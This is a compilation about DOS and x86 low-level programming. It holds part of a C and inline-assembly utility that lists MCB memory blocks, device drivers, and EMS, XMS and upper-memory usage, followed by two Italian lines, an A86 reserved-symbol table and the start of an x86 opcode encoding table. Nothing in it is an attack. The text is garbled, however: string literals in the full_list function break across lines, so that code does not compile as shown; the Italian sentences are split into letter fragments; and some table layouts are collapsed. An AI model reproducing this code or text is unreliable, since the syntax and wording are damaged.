asm jnz _error
asm mov bl,al
asm and al,0fh
asm and bl,0f0h
asm mov cl,4
asm shr bl,cl
asm mov ems_vermajor,bl
asm mov ems_verminor,al

asm mov ah,42h
asm int 67h
asm or ah,ah
asm jnz _error
asm mov word ptr ems_size,dx
asm mov word ptr ems_size[2],0
asm mov word ptr ems_free,bx
asm mov word ptr ems_free[2],0
ems_size*=16384L;
ems_free*=16384L;

asm push di
_ES=FP_SEG(&ems_handles);
_DI=FP_OFF(&ems_handles);
asm mov ah,4Dh
asm int 67h
asm pop di
asm or ah,ah
asm jnz _error
asm mov ems_usehandle,bx

if (ems_vermajor >= 4) {
asm mov ax,5402h
asm int 67h
asm or ah,ah
asm jnz _error
asm mov ems_totalhandle,bx
} else {
ems_totalhandle=ems_usehandle;
}

ems_freehandle=ems_totalhandle - ems_usehandle;
return;

_error:
puts("EMS INTERNAL ERROR.");
exit(1);
}

// --------------------------------------------------------------------------
// Name: check_xms
// Input: -
// Output: -
// Notes: Checks XMS memory and gets XMS parameters.
// --------------------------------------------------------------------------
static void check_xms(void)
{
asm mov ax,4300h
asm int 2fh
asm cmp al,80h
asm je _found
return;

_found:
xms_installed=TRUE;

asm mov ax,4310h
asm int 2fh
asm mov word ptr xms_drv,bx
asm mov word ptr xms_drv[2],es

asm mov ah,0
(*xms_drv)();
asm mov xms_vermajor,ah
asm mov xms_verminor,al
asm mov xms_hma,dl

asm mov ah,8
(*xms_drv)();
asm mov word ptr xms_free,ax
asm mov word ptr xms_free[2],0
asm mov word ptr xms_largest,dx
asm mov word ptr xms_largest[2],0
xms_free*=1024L;
xms_largest*=1024L;

asm mov ah,7
(*xms_drv)();
asm or bl,bl
asm jnz _error
asm mov xms_a20,al
return;

_error:
puts("XMS INTERNAL ERROR.");
exit(1);
}

// --------------------------------------------------------------------------
// Name: get_upperlink
// Input: -
// Output: uchar 0 separated upper and normal blocks
// 1 linked upper and normal blocks
// Notes: Checks the connection of normal and upper memory blocks.
// --------------------------------------------------------------------------
static uchar get_upperlink(void)
{
asm mov ax,5802h
asm int 21h
return(_AL);
}

// --------------------------------------------------------------------------
// Name: set_upperlink
// Input: uchar link 0 separate it
// 1 link it
// Output: int 1 successful
// 0 there is no upper memory
// -1 system memory is trashed
// Notes: Set the connection between upper and normal memory
// blocks.
// --------------------------------------------------------------------------
static int set_upperlink(uchar link)
{
asm mov ax,5803h
asm xor bh,bh
asm mov bl,link
asm int 21h
asm jc _noumb

return(1);

_noumb:
asm cmp ax,1
asm jne _trash
return(0);

_trash:
return(-1);
}

// --------------------------------------------------------------------------
// Name: check_upper
// Input: -
// Output: -
// Notes: Checks upper memory.
// --------------------------------------------------------------------------
static void check_upper(void)
{
uchar origlink;

origlink=get_upperlink();
switch(set_upperlink(1)) {
case 1:
upper_installed=TRUE;
break;

case 0:
upper_installed=FALSE;
break;

case -1:
puts("SYSTEM MEMORY TRASHED!");
exit(1);
break;
}
set_upperlink(origlink);
}

// --------------------------------------------------------------------------
// Name: check_memory
// Input: -
// Output: -
// Notes: Checks EMS, XMS, upper memory.
// --------------------------------------------------------------------------
static void check_memory(void)
{
check_ems();
check_xms();
check_upper();
}

// --------------------------------------------------------------------------
// Name: is_psp
// Input: MCB *mcb address of the MSC structure
// Output: int TRUE it is a program
// FALSE it is a simple MCB block
// Notes: Checks the PSP of given MCB block.
// --------------------------------------------------------------------------
static int is_psp(MCB *mcb)
{
asm les bx,mcb
asm mov ax,es
asm inc ax
asm mov es,ax
asm mov ax,TRUE
asm cmp word ptr es:[bx],20CDh
asm je __exit
asm mov ax,FALSE

__exit:
return(_AX);
}

// --------------------------------------------------------------------------
// Name: env_seg
// Input: MCB *mcb address of MCB block
// Output: ushort segment of enviroment
// Notes: Returns the segment of the given MCB block.
// --------------------------------------------------------------------------
static ushort env_seg(MCB *mcb)
{
MCB *env;

asm les bx,mcb
asm mov ax,es
asm inc ax
asm mov es,ax
asm mov bx,ax
asm mov ax,es:[2Ch]
asm dec ax
asm mov es,ax
asm inc ax
asm cmp es:[1],bx
asm je __exit
asm mov ax,0

__exit:
return(_AX);
}

// --------------------------------------------------------------------------
// Name: search_vectors
// Input: MINFO *m address of a memory block
// Output: -
// Notes: Searches interrupt vectors of the given memory block.
// --------------------------------------------------------------------------
static void search_vectors(MINFO *m)
{
ushort i;
ulong begin, end, iv;
uchar far *ivp;

begin=(ulong)(m->seg + 1) << 4;
end=begin + m->size;
for(i=0; i<256; i++) {
memcpy(&ivp, MK_FP(0, i*4), 4);
iv=((ulong)(FP_SEG(ivp) + 1) << 4) + (ulong)FP_OFF(ivp);
if ((iv > begin) && (iv < end) && (m->vecnum < MAX_VEC))
m->vectors[m->vecnum++]=(uchar)i;
}
}

// --------------------------------------------------------------------------
// Name: search_sd
// Input: MCB *mcb address of MCB block
// Output: -
// Notes: Searches the internal parts of a DOS data block.
// --------------------------------------------------------------------------
static void search_sd(MCB *mcb)
{
ushort begin, end;
SD_HEADER *sd;

sd=MK_FP(FP_SEG(mcb) + 1, 0);
begin=FP_SEG(mcb);
end=FP_SEG(mcb) + mcb->size;
while((FP_SEG(sd) > begin) &&
(FP_SEG(sd) < end) &&
(mlistnum < MAX_ITEM)) {
mlistnum++;
mlist[mlistnum].seg=sd->start;
mlist[mlistnum].size=(ulong)sd->size << 4;
switch(sd->type) {
case 'D':
case 'I':
mlist[mlistnum].name[0]=' ';
strncpy(&mlist[mlistnum].name[1], sd->name, 8);
strupr(mlist[mlistnum].name);
mlist[mlistnum].type=MT_DEVICE;
break;

case 'F':
strcpy(mlist[mlistnum].name, " FILES");
mlist[mlistnum].type=MT_DATA;
break;

case 'X':
strcpy(mlist[mlistnum].name, " FCBS");
mlist[mlistnum].type=MT_DATA;
break;

case 'C':
case 'B':
strcpy(mlist[mlistnum].name, " BUFFERS");
mlist[mlistnum].type=MT_DATA;
break;

case 'L':
strcpy(mlist[mlistnum].name, " LASTDRV");
mlist[mlistnum].type=MT_DATA;
break;

case 'S':
strcpy(mlist[mlistnum].name, " STACKS");
mlist[mlistnum].type=MT_DATA;
break;

default:
strcpy(mlist[mlistnum].name, " ??????");
mlist[mlistnum].type=MT_DATA;
break;
}
sd=MK_FP(sd->start + sd->size, 0);
}
}

// --------------------------------------------------------------------------
// Name: check_name
// Input: uchar *name name of MCB or device driver
// Output: -
// Notes: Filters name of MCBs and device drivers.
// --------------------------------------------------------------------------
void check_name(uchar *name)
{
ushort i;

for(i=0; name[i]; i++)
if ( name[i] < ' ' ) {
name[i] = '\0';
break;
} // if
}

// --------------------------------------------------------------------------
// Name: register_mcb
// Input: MCB *mcb address of MCB block
// Output: -
// Notes: Registers parameters of the given MCB block.
// --------------------------------------------------------------------------
static void register_mcb(MCB *mcb)
{
mlist[mlistnum].seg=FP_SEG(mcb);
mlist[mlistnum].owner=mcb->owner;
mlist[mlistnum].size=(ulong)mcb->size << 4;

if (mlist[mlistnum].seg <= 0x9FFF) {
if (is_psp(mcb)) {
strncpy(mlist[mlistnum].name, mcb->name, 8);
check_name(mlist[mlistnum].name);
strupr(mlist[mlistnum].name);
mlist[mlistnum].environment=env_seg(mcb);
mlist[mlistnum].type=MT_PROGRAM;
}
if (!mcb->owner) {
mlist[mlistnum].type=MT_FREE;
} else if (mcb->owner <= 0x0008) {
strcpy(mlist[mlistnum].name, "DOS");
if (!strncmp(mcb->name, "SD", 2)) {
mlist[mlistnum].type=MT_SYSDATA;
search_sd(mcb);
} else if (!strncmp(mcb->name, "SC", 2)) {
mlist[mlistnum].type=MT_SYSCODE;
}
else
mlist[mlistnum].type=MT_SYSCODE;
}

} else {
if (!mcb->owner) {
mlist[mlistnum].type=MT_FREE;
} else if (mcb->owner <= 0x0008) {
strcpy(mlist[mlistnum].name, "DOS");
if (!strncmp(mcb->name, "SD", 2)) {
mlist[mlistnum].type=MT_SYSDATA;
search_sd(mcb);
} else if (!strncmp(mcb->name, "SC", 2)) {
mlist[mlistnum].type=MT_SYSCODE;
}
} else if (mcb->owner > 0x0008) {
mlist[mlistnum].environment=env_seg(mcb);
mlist[mlistnum].type=MT_PROGRAM;
strncpy(mlist[mlistnum].name, mcb->name, 8);
strupr(mlist[mlistnum].name);
}
}
}

// --------------------------------------------------------------------------
// Name: make_mcb_list
// Input: -
// Output: -
// Notes: Makes the list of MCBs.
// --------------------------------------------------------------------------
static void make_mcb_list(void)
{
ushort i, j;
MCB *cur_mcb;
uchar origlink;

memset(mlist, 0, sizeof(mlist));
check_memory();

asm mov ah,52h
asm int 21h
asm mov ax,es:[bx-2]
asm mov word ptr first_mcb[2],ax
asm mov word ptr first_mcb,0

if (upper_installed) {
origlink=get_upperlink();
set_upperlink(1);
}

cur_mcb=(MCB *)MK_FP(first_mcb, 0);
while((mlistnum < MAX_ITEM) && (cur_mcb->type != 'Z')) {
register_mcb(cur_mcb);
cur_mcb=(MCB *)MK_FP(FP_SEG(cur_mcb) + cur_mcb->size + 1, 0);
++mlistnum;
}

register_mcb(cur_mcb);
cur_mcb=(MCB *)MK_FP(FP_SEG(cur_mcb) + cur_mcb->size + 1, 0);
++mlistnum;

if (upper_installed)
set_upperlink(origlink);

for(i=0; i<mlistnum; i++)
if ( (mlist[i].seg >= 0x9000) && (mlist[i].seg <= 0xB000) &&
(mlist[i].type == MT_SYSCODE) ) {
upper_index=i;
break;
}

for(i=upper_index; i<mlistnum; i++)
if (mlist[i].type == MT_FREE) {
upper_free+=mlist[i].size;
if (mlist[i].size > upper_large)
upper_large=mlist[i].size;
}

for(i=0; i<mlistnum; i++) {
if (mlist[i].type == MT_PROGRAM)
for(j=0; j<mlistnum; j++)
if ((mlist[i].seg != mlist[j].seg) &&
(mlist[j].owner == mlist[i].seg+1)) {
strcpy(mlist[j].name, mlist[i].name);
mlist[j].type=(mlist[i].environment == mlist[j].seg+1) ? MT_ENV :
MT_DATA;
}
if (mlist[i].type != MT_SYSDATA)
search_vectors(&mlist[i]);
}

for(i=0; i<mlistnum; i++)
if (mlist[i].seg+1 == _psp) {
mlist[i+1].size+=mlist[i].size + 16;
mlist[i].type=MT_MAP;
for(j=0; j<mlistnum; j++)
if (mlist[j].seg+1 == mlist[i].environment) {
if (j == i-1) {
mlist[j].type=MT_MAP;
} else {
mlist[j].type=MT_FREE;
mlist[j].name[0]='\0';
}
break;
}
break;
}
}

// --------------------------------------------------------------------------
// Name: make_dev_list
// Input: -
// Output: -
// Notes: Makes list of device drivers.
// --------------------------------------------------------------------------
static void make_dev_list(void)
{
ushort i, j;
DEVICE_HEADER *cur_dev;
DPB *cur_dpb;

memset(dlist, 0, sizeof(dlist));
make_mcb_list();

asm mov ah,52h
asm int 21h
asm add bx,22h
asm mov word ptr first_dev[2],es
asm mov word ptr first_dev,bx

cur_dev=first_dev;
while((FP_OFF(cur_dev) != 0xFFFF) &&
(dlistnum < MAX_ITEM)) {
dlist[dlistnum].addr=cur_dev;
dlist[dlistnum].attr=cur_dev->attr;
strncpy(dlist[dlistnum].devname, cur_dev->name, 8);
check_name(dlist[dlistnum].devname);
strupr(dlist[dlistnum].devname);
cur_dev=cur_dev->next;
++dlistnum;
}

for(i=0; i<dlistnum; i++)
for(j=0; j<mlistnum; j++)
if (mlist[j].seg == FP_SEG(dlist[i].addr))
strcpy(dlist[i].progname, (mlist[j].name[0] == ' ') ?
&mlist[j].name[1] : mlist[j].name);

asm mov ah,52h
asm int 21h
asm les bx,es:[bx]
asm mov word ptr first_dpb[2],es
asm mov word ptr first_dpb,bx

cur_dpb=first_dpb;
while(FP_OFF(cur_dpb) != 0xFFFF) {
for(i=0; i<dlistnum; i++)
if (dlist[i].addr == cur_dpb->device_addr) {
dlist[i].drives[dlist[i].drive_num++]=cur_dpb->drive_num+'A';
break;
}
cur_dpb=cur_dpb->next_dpb;
}

for(i=0; i<dlistnum; i++) {
if ((dlist[i].attr & 0x8000) == 0)
dlist[i].devname[0]='\0';
if (dlist[i].drive_num) {
if (dlist[i].drive_num == 1)
sprintf(dlist[i].devname, "%c:", dlist[i].drives[0]);
else
sprintf(dlist[i].devname, "%c: - %c:", dlist[i].drives[0],
dlist[i].drives[dlist[i].drive_num-1]);
}
}
}

// --------------------------------------------------------------------------
// Name: normal_list
// Input: uchar type type of list
// Output: -
// Notes: Displays the normal list of programs.
// --------------------------------------------------------------------------
static void normal_list(uchar type)
{
ushort i, num;

make_mcb_list();

puts("");
puts(" mcb size name type ");
puts("");
num=(upper_installed && (type == NORMAL)) ? upper_index : mlistnum;
for(i=0; i<num; i++)
if ((mlist[i].type == MT_SYSCODE) ||
(mlist[i].type == MT_SYSDATA) ||
(mlist[i].type == MT_FREE) ||
(mlist[i].type == MT_PROGRAM) ||
(mlist[i].type == MT_DEVICE))
printf(" %04x %6lu %-9s %-13s \n",
mlist[i].seg, mlist[i].size, mlist[i].name,
typenames[mlist[i].type]);

if (!ems_installed && !xms_installed && !upper_installed) {
puts("");
return;
}

puts("");

if (ems_installed)
printf(" %8lu bytes free EMS memory \n", ems_free);

if (xms_installed)
printf(" %8lu bytes free XMS memory \n", xms_free);

if (upper_installed)
printf(" %8lu bytes free upper memory \n", upper_free);

puts("");
}

// --------------------------------------------------------------------------
// Name: full_list
// Input: -
// Output: -
// Notes: Displays full list of memory blocks.
// --------------------------------------------------------------------------
static void full_list(void)
{
ushort i, j, pos;
uchar line[81];

make_mcb_list();


puts("
");
puts(" mcb size name type interrupt vectors
");

puts("
");
for(i=0; i<mlistnum; i++)
if (mlist[i].type != MT_MAP) {
sprintf(line, " %04x %6lu %-9s %-4s
",
mlist[i].seg, mlist[i].size, mlist[i].name,
typenames[mlist[i].type]);
for(j=1, pos=46; j<=mlist[i].vecnum; j++) {
sprintf(&line[pos], "%02x", (int)mlist[i].vectors[j-1]);
line[pos+2]=' ';
if (!(j % 9) && ((j+1) <= mlist[i].vecnum)) {
puts(line);
strcpy(line, "
");
pos=46;
} else {
pos+=3;
}
}
puts(line);
}


puts("
");
}

// --------------------------------------------------------------------------
// Name: device_list
// Input: -
// Output: -
// Notes: Display the list of device drivers.
// --------------------------------------------------------------------------
static void device_list(void)
{
ushort i, num;

make_dev_list();

puts("");
puts(" address attr name program ");
puts("");
// XXXX:XXXX XXXX XXXXXXXX XXXXXXXX
for(i=0; i<dlistnum; i++)
printf(" %Fp %04x %-8s %-8s \n",
dlist[i].addr, dlist[i].attr, dlist[i].devname,
dlist[i].progname);

puts("");
}

// --------------------------------------------------------------------------
// Name: ems_list
// Input: -
// Output: -
// Notes: Displays the EMS report.
// --------------------------------------------------------------------------
static void ems_list(void)
{
ushort i;
uchar *line, numstr[20];
uchar handlename[9];

check_ems();

puts("");

if (!ems_installed) {
puts(" EMS driver not installed in system. ");
} else {
line=" EMS driver version ";
sprintf(numstr, "%1i.%1i", (int)ems_vermajor, (int)ems_verminor);
strncpy(&line[22], numstr, strlen(numstr));
puts(line);

line=" EMS page frame ";
sprintf(numstr, "%04X", ems_frame);
strncpy(&line[22], numstr, strlen(numstr));
puts(line);

line=" Total EMS memory ";
sprintf(numstr, "%lu bytes", ems_size);
strncpy(&line[22], numstr, strlen(numstr));
puts(line);

line=" Free EMS memory ";
sprintf(numstr, "%lu bytes", ems_free);
strncpy(&line[22], numstr, strlen(numstr));
puts(line);

line=" Total handles ";
sprintf(numstr, "%u", ems_totalhandle);
strncpy(&line[22], numstr, strlen(numstr));
puts(line);

line=" Free handles ";
sprintf(numstr, "%u", ems_freehandle);
strncpy(&line[22], numstr, strlen(numstr));
puts(line);

puts(" ");
puts(" Handle Pages Size Name ");
puts(" ");
for(i=0; i<ems_usehandle; i++) {
memset(handlename, 0, sizeof(handlename));
if (ems_vermajor >= 4) {
if (ems_handles[i].handle == 0) {
strcpy(handlename, "SYSTEM");
} else {
asm push di
_DX=ems_handles[i].handle;
_ES=FP_SEG(&handlename);
_DI=FP_OFF(&handlename);
asm mov ax,5300h
asm int 67h
asm pop di
}
strupr(handlename);
}
printf(" %-7u %-6u %-9lu %-9s \n",
ems_handles[i].handle, ems_handles[i].pages,
(ulong)ems_handles[i].pages * 16384L, handlename);
}

}
puts("");
}

// --------------------------------------------------------------------------
// Name: xms_list
// Input: -
// Output: -
// Notes: Displays the XMS report.
// --------------------------------------------------------------------------
static void xms_list(void)
{
ushort i;
uchar *line, numstr[20];

make_mcb_list();

if (xms_installed) {
printf("Testing XMS memory ...");
memset(xms_handles, 0, sizeof(xms_handles));
xms_usehandle=0;
for(i=0; i<65535; i++) {
asm mov ah,0Eh
_DX=i;
(*xms_drv)();
asm or ax,ax
asm jnz _found
continue;

_found:
asm mov byte ptr xms_freehandle,bl
if (xms_usehandle < MAX_HANDLE) {
asm push di
_ES=FP_SEG(&xms_handles);
_DI=FP_OFF(&xms_handles);
asm mov ax,xms_usehandle //
xms_handles[xms_usehandle].handle=i;
asm mov cl,3
asm shl ax,cl
asm add di,ax
asm mov ax,i
asm mov es:[di],ax
asm mov es:[di+2],dx //
xms_handles[xms_usehandle].size=_DX;
asm mov es:[di+6],bh //
xms_handles[xms_usehandle].locks=_BH;
asm pop di
xms_handles[xms_usehandle].size*=1024L;
xms_usehandle++;
}
}
printf("\r");
}

puts("");

if (!xms_installed) {
puts(" XMS driver not installed in system. ");
} else {
line=" XMS driver version ";
sprintf(numstr, "%i.%i", (ushort)xms_vermajor, (ushort)xms_verminor);
strncpy(&line[26], numstr, strlen(numstr));
puts(line);

line=" HMA state ";
sprintf(numstr, "%s", (xms_hma) ? "exists" : "not exists");
strncpy(&line[26], numstr, strlen(numstr));
puts(line);

line=" A20 line state ";
sprintf(numstr, "%s", (xms_a20) ? "enabled" : "disabled");
strncpy(&line[26], numstr, strlen(numstr));
puts(line);

line=" Free XMS memory ";
sprintf(numstr, "%lu bytes", xms_free);
strncpy(&line[26], numstr, strlen(numstr));
puts(line);

line=" Largest free XMS block ";
sprintf(numstr, "%lu bytes", xms_largest);
strncpy(&line[26], numstr, strlen(numstr));
puts(line);

line=" Free handles ";
sprintf(numstr, "%u", xms_freehandle);
strncpy(&line[26], numstr, strlen(numstr));
puts(line);

if (xms_usehandle) {
puts(" ");
puts(" Block Handle Size Locks ");
puts(" ");
for(i=0; i<xms_usehandle; i++)
printf(" %-6u %-7u %-9lu %-12u \n",
i, xms_handles[i].handle, xms_handles[i].size,
xms_handles[i].locks);
}

puts(" ");
if (upper_installed) {
line=" Free upper memory ";
sprintf(numstr, "%lu bytes", upper_free);
strncpy(&line[26], numstr, strlen(numstr));
puts(line);
line=" Largest upper block ";
sprintf(numstr, "%lu bytes", upper_large);
strncpy(&line[26], numstr, strlen(numstr));
puts(line);
} else {
puts(" Upper memory not available ");
}
}

puts("");
}

// Main ---------------------------------------------------------------------
int main(int argc, char *argv[])
{
ushort i;


if (argc > 1) {
for(i=1; i<argc; i++) {
if ((argv[i][0] == '-') || (argv[i][0] == '/'))
switch( argv[i][1] ) {
case 'n':
case 'N':
normal_list(NORMAL);
break;

case 'u':
case 'U':
normal_list(UPPER);
break;

case 'f':
case 'F':
full_list();
break;

case 'd':
case 'D':
device_list();
break;

case 'e':
case 'E':
ems_list();
break;

case 'x':
case 'X':
xms_list();
break;

case 'h':
case 'H':
case '?':
puts(USAGE);
return 0;

default:
printf("Invalid option %s (use -h for help).\n", argv[i]);
return 1;
}

else {
printf("Invalid option %s (use -h for help).\n", argv[i]);
return 1;
}
}
} else {
normal_list(NORMAL);
}

return 0;
}



La seguent e una t abel l a r i por t ant e i si mbol i r i ser vat i del l assembl er dei
si st emi x86.


Reserved Symbols of the A86 Assembler

AAA ASCII adjust addition ELSEIF Conditional term
AAD ASCII adjust division END Ignored for compatibility
AAM ASCII adjust multiply ENDIF Conditional term
AAS ASCII adjust subtract ENDP Ignored for compatibility
ADC Add with carry ENDS End of segment
ADD Instruction ENTER Instruction
AH Byte register EQ Equals operator
AL Byte register EQU Equate directive
AND Instruction/operator ES Segment register
ASSUME Ignored for compatibility EVEN Coerce to even address
AX Word register EXTRN Ignored for compatibility
B Byte memory specifier F Far specifier
BH Byte register F2XM1 87 Instruction
BIT Bit-mask operator FABS 87 Instruction
BL Byte register FADD 87 Instruction
BOUND Instruction FADDP 87 Instruction
BP Word register FAR Far specifier
BX Word register FBLD 87 Instruction
BY Bytes-combine operator FBSTP 87 Instruction
BYTE Byte memory specifier FCHS 87 Instruction
CALL Instruction FCLEX 87 Instruction
CBW Convert byte to word FCOM 87 Instruction
CH Byte register FCOMP 87 Instruction
CL Byte register FCOMPP 87 Instruction
CLC Clear carry FDECSTP 87 Instruction
CLD Clear direction FDISI 87 Instruction
CLI Clear interrupt FDIV 87 Instruction
CMC Complement carry FDIVP 87 Instruction
CMP Compare FDIVR 87 Instruction
CMPS Compare string FDIVRP 87 Instruction
CMPSB Compare string byte FENI 87 Instruction
CMPSW Compare string word FFREE 87 Instruction
CODE Segment name FIADD 87 Instruction
COMMENT Directive FICOM 87 Instruction
CS Segment register FICOMP 87 Instruction
CWD Convert word dword FIDIV 87 Instruction
CX Word register FIDIVR 87 Instruction
D Dword specifier FILD 87 Instruction
DAA Decimal adjust add FIMUL 87 Instruction
DAS Decimal adjust sub FINCSTP 87 Instruction
DATA Segment name FINIT 87 Instruction
DB Define bytes FIST 87 Instruction
DD Define dwords FISTP 87 Instruction
DEC Decrement FISUB 87 Instruction
DH Byte register FISUBR 87 Instruction
DI Word register FLD 87 Instruction
DIV Divide FLD1 87 Instruction
DL Byte register FLDCW 87 Instruction
DQ Define Qwords FLDENV 87 Instruction
DS Segment register FLDL2E 87 Instruction
DT Define Twords FLDL2T 87 Instruction
DUP Duplicate operator FLDLG2 87 Instruction
DW Define words FLDLN2 87 Instruction
DWORD Memory specifier FLDPI 87 Instruction
DX Word register FLDZ 87 Instruction
ELSE Conditional term FMUL 87 Instruction
_
FMULP 87 Instruction JL Jump on less
FNCLEX 87 Instruction JLE Jump less equal
FNDISI 87 Instruction JMP Jump unconditional
FNENI 87 Instruction JNA Jump not above
FNINIT 87 Instruction JNAE Jump not above equal
FNOP 87 Instruction JNB Jump not below
FNSAVE 87 Instruction JNBE Jump not below equal
FNSTCW 87 Instruction JNC Jump not carry
FNSTENV 87 Instruction JNE Jump not equal
FNSTSW 87 Instruction JNG Jump not greater
FPATAN 87 Instruction JNGE Jump not greater equ
FPREM 87 Instruction JNL Jump not less
FPTAN 87 Instruction JNLE Jump not less equal
FRNDINT 87 Instruction JNO Jump not overflow
FRSTOR 87 Instruction JNP Jump not parity
FSAVE 87 Instruction JNS Jump not sign
FSCALE 87 Instruction JNZ Jump not zero
FSETPM 87 Instruction JO Jump overflow
FSQRT 87 Instruction JP Jump parity
FST 87 Instruction JPE Jump parity even
FSTCW 87 Instruction JPO Jump parity odd
FSTENV 87 Instruction JS Jump on sign
FSTP 87 Instruction JZ Jump on zero
FSTSW 87 Instruction LABEL Declaration
FSUB 87 Instruction LAHF Load AH flags
FSUBP 87 Instruction LDS Load into DS
FSUBR 87 Instruction LE Less equal operator
FSUBRP 87 Instruction LEA Load eff address
FTST 87 Instruction LEAVE Instruction
FWAIT 87 Instruction LES Load into ES
FXAM 87 Instruction LOCK Instruction
FXCH 87 Instruction LODS Load string
FXTRACT 87 Instruction LODSB Load string byte
FYL2X 87 Instruction LODSW Load string word
FYL2XP1 87 Instruction LONG Operator
GE Greater/equal operator LOOP Instruction
GT Greater than operator LOOPE Loop on equal
HIGH High byte of word op LOOPNE Loop not equal
HLT Halt * LOOPNZ Loop not zero
IDIV Integer divide LOOPZ Loop on zero
IF Skip/conditional term LOW Operator
IMUL Integer multiply LT Less than operator
IN Input from port MACRO Directive
INC Increment MOD Operator
INCLUDE Ignored for compatibility MOV Instruction
INS Input string MOVS Move string
INSB Input string byte MOVSB Move string byte
INSW Input string word MOVSW Move string word
INT Interrupt MUL Multiply
INTO Interrupt on overflow NAME Ignored for compatibility
IRET Interrupt return NE Not equals operator
JA Jump on above NEAR Operator
JAE Jump above equal NEG Instruction
JB Jump on below NIL No code instruction
JBE Jump below equal NOP No operation
JC Jump on carry NOT Instruction/operator
JCXZ Jump on CX zero OFFSET Operator
JE Jump on equal OR Instruction/operator
JG Jump on greater ORG Directive
JGE Jump greater equal OUT Output to port
_
OUTS Output String XCHG Instruction
OUTSB Output string byte XLAT Translate byte
OUTSW Output string word XLATB Translate byte
PAGE Ignored for compatibility XOR Instruction/operator
POP Instruction
POPA Pop all
POPF Pop flags
PROC Procedure Directive
PTR Ignored for compatibility
PUBLIC Ignored for compatibility
PUSH Instruction
PUSHA Push all
PUSHF Push flags
Q Qword specifier
QWORD Memory specifier
RADIX Directive
RCL Rotate carry left
RCR Rotate carry right
REP Repeat prefix
REPE Repeat while equal
REPNE Repeat not equal
REPNZ Repeat while zero
REPZ Repeat non zero
RET Return
RETF Far Return
ROL Rotate left
ROR Rotate right
SAHF Store AH to flags
SAL Shift arith left
SAR Shift arith right
SBB Subtract with borrow
SCAS Scan string
SCASB Scan string byte
SCASW Scan string word
SEGMENT Directive
SHL Instruction/operator
SHORT Operator
SHR Instruction/operator
SI Word register
SP Word register
SS Segment register
ST EQU 0 for compatibility
STC Set carry
STD Set direction
STI Set interrupts
STOS Store string
STOSB Store string byte
STOSW Store string word
STRUC Structure directive
SUB Instruction
SUBTTL Ignored for compatibility
T Tword specifier
TEST Instruction
THIS This-location specifier
TITLE Ignored for compatibility
TWORD Memory specifier
TYPE Operator
W Word specifier
WAIT Instruction
WORD Word specifier

La seguent e t abel l a most r a l a codi f i ca del l e i st r uzi oni ut i l i zzando un al t r a
met odol ogi a.

* EXPLANATION OF THE NOTATION USED IN THE HEX TABLE *

Symbol Explanation

r8 Indicates a byte register operand
rm8 Indicates a byte reg/mem operand
m8 Indicates a byte memory operand
i8 Indicates a byte immediate operand
r16 Indicates a word register operand
rm16 Indicates a word reg/mem operand
m16 Indicates a word memory operand
i16 Indicates a word immediate operand
rel8 Indicates a byte relative offset operand (see 'cb')
rel16 Indicates a word relative offset operand (see 'cw')
ptr16:16Indicates an immediate far pointer operand (see 'cd')
m16:16 Indicates a memory far pointer operand
m16&16 Indicates two words in memory (for BOUND)

/1 etc. Indicates that the 'Reg' field of the RegInfo byte contains
this number as opcode information
+rb Indicates that the 'Reg' value of the first byte register
operand is added to the opcode
+rw Indicates that the 'Reg' value of the first word register
operand is added to the opcode
/r Indicates a RegInfo byte (maps to register or memory
operands)
ib Indicates a byte of data (maps to an i8 operand)
iw Indicates a word of data (maps to an i16 operand)
cb Indicates a relative offset from the next instruction for
JMP, CALL etc. (signed with segment wrap, one byte)
cw Indicates a relative offset from the next instruction for
JMP, CALL etc. (unsigned with segment wrap, two bytes)
cd Indicates an absolute far pointer for JMP, CALL etc.
(signed, four bytes)


Structure of the RegInfo byte:


Field Mode Reg Reg/Mem

Bits 7 6 5 4 3 2 1 0


Byte regs: ALCLDLBLAHCHDHBH
Word regs: AXCXDXBXSPBPSIDI

Reg value: 0 1 2 3 4 5 6 7


* EXPLANATION OF THE NOTATION USED IN THE OCTAL TABLE *


Symbol Explanation

r8 Indicates a byte register operand
rm8 Indicates a byte reg/mem operand
m8 Indicates a byte memory operand
i8 Indicates a byte immediate operand
r16 Indicates a word register operand
rm16 Indicates a word reg/mem operand
m16 Indicates a word memory operand
i16 Indicates a word immediate operand
rel8 Indicates a byte relative offset operand (see 'cb')
rel16 Indicates a word relative offset operand (see 'cw')
ptr16:16Indicates an immediate far pointer operand (see 'cd')
m16:16 Indicates a memory far pointer operand
m16&16 Indicates two words in memory (for BOUND)

t Indicates the 'Mode' field of the RegInfo byte, which is
2 bits and is always the first octal digit
r Indicates the 'Reg' field of the RegInfo byte, which is
3 bits and is the second octal digit (may not be present)
m Indicates the 'Reg/Mem' field of the RegInfo byte, which
is 3 bits and is the third octal digit
ib Indicates a byte of data (maps to an i8 operand)
iw Indicates a word of data (maps to an i16 operand)
cb Indicates a relative offset from the next instruction for
JMP, CALL etc. (signed with segment wrap, one byte)
cw Indicates a relative offset from the next instruction for
JMP, CALL etc. (unsigned with segment wrap, two bytes)
cd Indicates an absolute far pointer for JMP, CALL etc.
(unsigned, four bytes)


Structure of the RegInfo byte:

Field Mode Reg Reg/Mem

Bits 7 6 5 4 3 2 1 0

Digit 1st 2nd 3rd


Byte regs: ALCLDLBLAHCHDHBH
Word regs: AXCXDXBXSPBPSIDI

Reg value: 0 1 2 3 4 5 6 7


ModeReg/MemOctalMeaning

00 000 0r0 [BX + SI]
001 0r1 [BX + DI]
010 0r2 [BP + SI]
011 0r3 [BP + DI]
100 0r4 [SI]
101 0r5 [DI]
110 0r6 disp16
111 0r7 [BX]



01 000 1r0 [BX + SI + disp8]
001 1r1 [BX + DI + disp8]
010 1r2 [BP + SI + disp8]
011 1r3 [BP + DI + disp8]
100 1r4 [SI + disp8]
101 1r5 [DI + disp8]
110 1r6 [BP + disp8]
111 1r7 [BX + disp8]



10 000 2r0 [BX + SI + disp16]
001 2r1 [BX + DI + disp16]
010 2r2 [BP + SI + disp16]
011 2r3 [BP + DI + disp16]
100 2r4 [SI + disp16]
101 2r5 [DI + disp16]
110 2r6 [BP + disp16]
111 2r7 [BX + disp16]



11 000 3r0 AL / AX
001 3r1 CL / CX
010 3r2 DL / DX
011 3r3 BL / BX
100 3r4 AH / SP
101 3r5 CH / BP
110 3r6 DH / SI
111 3r7 BH / DI


disp8, disp16: memory offset or displacement, disp8 = byte, disp16 = word
which will follow the /r byte but precede any ib/iw bytes


---* THE ASSEMBLY TABLE -- IN HEX *---

Instruction Opcode/Data


AAA 37
AAD D5 0A
AAD i8 D5 ib
AAM D4 0A
AAM i8 D4 ib
AAS 3F
ADC AL,i8 14 ib
ADC AX,i16 15 iw
ADC r8,rm8 12 /r
ADC r16,rm16 13 /r
ADC rm8,r8 10 /r
ADC rm16,r16 11 /r
